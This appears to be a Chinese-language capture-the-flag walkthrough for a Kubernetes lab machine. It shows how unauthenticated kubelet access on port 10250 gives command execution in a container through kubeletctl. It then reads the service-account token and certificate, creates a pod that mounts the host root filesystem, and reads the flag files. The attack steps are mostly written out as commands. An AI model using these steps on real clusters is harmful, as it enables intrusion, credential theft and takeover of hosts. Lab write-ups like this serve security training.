一、nmap
nmap 10.10.11.133 --max-retries=0 -T4 -p-
nmap 有时会尝试多次,max-retries 0失败就不尝试了
22 2379 2380 (etcd的客户端和服务端)8443(应该是kubernetes API Server) 10250 (kubelet默认端口)
首先试一下k8s未授权访问
curl https://10.10.11.133:8443 -k -k是--insecure 表示curl跳过TLS/SSL认证,即使目标证书不可信或者无效curl也会继续执行命令。测试可用,生产环境×,可能会被中间人攻击
curl -k的结果是forbidden:user system:anonymous 不能访问路径/ ,返回403
无法未授权访问apiserver后,查看10250端口的kubelet service
curl http://10.10.11.133:10250/pods -k
可以看到k8s集群的pods信息
kubeletctl是个第三方工具,可以操作undocumented api 比如:运行api call,打开api节点,使用rce,通过kubelet在所有容器上同时运行命令,从可用容器中获取token以及阅读友好的打印输出
下载并安装kubeletctl 添加到usr/local/bin./kubeletctl
1.curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.7/kubeletctl_linux_amd64 L location跟随重定向如果返回了Location头, O保存文件,与远程资源文件名相同
2.chmod a+x ./kubeletctl_linux_amd64
3.mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl 通常在PATH中,一般保存二进制文件,可以在任何路径下运行
二、foothold
使用kubeletctl --server 10.10.11.133 pods #会返回pods列表可以看到有多少pods
因为10250的kubelet允许未授权访问 可以对kubeletctl用run exec cri等
kubeletctl --server 10.10.11.133 scan rce 扫描可rce的pod 找到+的pod nginx
测试一下
kubeletctl --server 10.10.11.133 exec "id" (不要加空格) -p nginx -c nginx 指定pod 和container
container显示root
三、Privesc
查看token和证书信息
kubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx
kubeletctl --server 10.10.11.133 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx > ./ca.crt
/var/run/secrets/kubernetes.io/serviceaccount/ 证书凭据放置的内容 (guide模式的答案)
echo token="exec的token的内容"
获取token和crt后,可以远程访问kubectl了
查看权限
kubectl --token=$token --certificate-authority=ca.crt --server=10.10.11.133 get pods /auth can-i --list
发现有pod的create权限,创建一个hostpath挂载根目录
kubectl --token= --certificate-authority --server= apply -f xxx.yaml
kubectl --token -- certificate-authority --server get pods
kubeletctl --server 10.10.11.133 exec "cat /root/home/user/user.txt" -p nginx -c nginx
kubeletctl --server 10.10.11.133 exec "cat /root/root/root.txt" -p nginx -c nginx